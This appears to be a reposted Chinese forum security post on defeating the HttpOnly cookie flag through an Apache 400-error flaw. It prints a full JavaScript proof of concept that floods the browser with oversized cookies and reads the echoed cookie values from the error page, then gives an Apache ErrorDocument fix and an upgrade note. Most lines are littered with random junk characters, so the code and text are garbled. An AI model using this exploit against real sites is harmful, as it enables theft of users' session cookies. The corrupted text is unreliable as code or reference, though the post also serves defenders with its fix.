很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
1 J( g- p/ m$ @: I, O5 R& Q' @2 g: }0 t. } n j
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
; J/ s5 ]8 ] ^ y7 n ; N# |8 }: H4 |* R: s0 A
& U9 _6 i+ d% g2 J/ g. {3 j9 Q+ @// http://www.exploit-db.com/exploits/18442/8 ]1 w- J# t0 W2 W6 u
function setCookies (good) {3 [( r+ f5 N1 T6 W D
// Construct string for cookie value# Q( i- V" A2 C' x$ ^1 F# G g: q1 v
var str = "";
; X' t6 V. |5 {/ k) r1 c, p2 @for (var i=0; i< 819; i++) {
* Q; d3 [7 P/ G' b# z6 t: Vstr += "x";
( x h: C* @6 x4 ^}+ V7 N6 U+ q# {* Z# F$ [$ l
// Set cookies
+ E) {6 t* Y8 ~for (i = 0; i < 10; i++) {
: S; h1 N5 }+ J9 y" M8 }& w$ m a// Expire evil cookie
) m5 j& Y: m+ p1 ~# Y6 ?if (good) {
+ U( l6 R7 \* d) C: x1 j$ E% @0 _var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";/ u! {2 i) X1 [6 H( v, E# n
}
: l( J( q. E: Y. j$ w) \// Set evil cookie! |8 h/ Y; S" z! v
else {
* `6 l; D8 T L% }- |var cookie = "xss"+i+"="+str+";path=/";4 {* G, X7 W" u/ R2 n0 h6 Z# d
}
p8 S# R) N) p# O9 Qdocument.cookie = cookie;9 H a; f5 u) E: J V2 |( ?
}
3 p8 I4 [7 Q4 u8 O}5 ]% A% R; N& F$ J% h! l
function makeRequest() {% T; b1 p6 _8 _: k3 A: M4 L
setCookies();
; V P+ S, Z- m+ V8 r9 c5 s Ifunction parseCookies () {+ P4 C |, Q! @9 z) O' {, T1 E0 |
var cookie_dict = {};
; r* z8 W- h7 W# r// Only react on 400 status1 u% P+ C& {3 |! G+ P) c
if (xhr.readyState === 4 && xhr.status === 400) {" C7 p( Y- R$ Z. W4 S8 r
// Replace newlines and match <pre> content
- Y# [! v* ~$ j; y; D. N- \$ [var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
% V& k& o) _1 gif (content.length) {' P! P: D8 n6 e3 {0 t
// Remove Cookie: prefix9 |) z0 H1 n8 z$ L, Q# a* W
content = content[1].replace("Cookie: ", "");
0 h! k* Y" K) ~/ G) W1 b5 c2 x [ Cvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
5 N. x: [- i/ Q( [, A- B& L$ n! _// Add cookies to object
5 n. l5 q# I5 u3 M4 D Kfor (var i=0; i<cookies.length; i++) {
7 I8 M- G+ V. e+ l: zvar s_c = cookies.split('=',2);
( q6 p# |$ ~1 i9 @& j" Lcookie_dict[s_c[0]] = s_c[1];+ ~' b! X6 x; M9 O
}7 A, ~; e% i9 K4 Q- A8 n1 I: q
}* f; [7 ~: {3 @2 O7 d
// Unset malicious cookies. D7 C, A: w7 A( {0 l
setCookies(true);
- Q( G4 A4 v+ D6 | R% ialert(JSON.stringify(cookie_dict));) l$ s$ I0 e# u o H
}
Q6 s* ] V: D O7 A}- i' i$ c. i' p+ a. Q/ _% s- K
// Make XHR request. _; r6 W4 o& [
var xhr = new XMLHttpRequest();8 z2 @$ S$ u# @7 W2 V8 P9 X: }
xhr.onreadystatechange = parseCookies;* @5 }) T# e9 x, x3 R
xhr.open("GET", "/", true);4 j- F' b7 {! ~- K
xhr.send(null);1 m# A( O7 n; \) U! Z) ?% ?
}
) B* Y; q* k5 JmakeRequest();
* I; g% v l$ l, b/ m' O
! N+ ?5 U3 K) t' o7 O7 y- Z你就能看见华丽丽的400错误包含着cookie信息。; m6 \! o1 m1 W) v" a. K$ e- W" `
6 V) W! O- b! P- S下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
5 i! K: ?6 o0 e6 `$ |
$ O+ Q R! e7 m( `修复方案:# Z# G' F- d. K4 H$ H; c/ j
5 Z- I* `- T3 b2 E$ Y o& h/ DApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
& P2 e5 Y% d$ D1 j- z; Z. ?
: K( m, P, z9 I& X" V$ nIn the event of a problem or error, Apachecan be configured to do one of four things,; f% a$ p% I& y" E
4 i6 [, n* X( I {1 t: f+ |1. output asimple hardcoded error message输出一个简单生硬的错误代码信息+ Y! }# I' g! v! M+ ]
2. output acustomized message输出一段信息
( Q$ v0 x7 x$ `; i0 s! N: f) r D4 \3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 " ?: a _- k5 f" ?9 A% H
4. redirect to an external URL to handle theproblem/error转向一个外部URL' U6 ~$ F, K1 S0 b1 K- T
1 V ^& {% a* _ N' R经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容& [# P- r b% j% F
( U: G& B; P8 i r" e" ^) [& AApache配置:; a6 h j; c: K* P# V/ l
& ?/ D) _! ~3 R) ]: `) tErrorDocument400 " security test"
& G/ L3 e9 }+ l, c( U- C
" @# v A* X; P5 a当然,升级apache到最新也可:)。
3 W1 K3 q5 S& c; ^
0 t' f m5 l% C1 b( d参考:http://httpd.apache.org/security/vulnerabilities_22.html
) l' P5 w8 o7 C% X$ E
7 v' L- |/ p1 e' {& o9 i |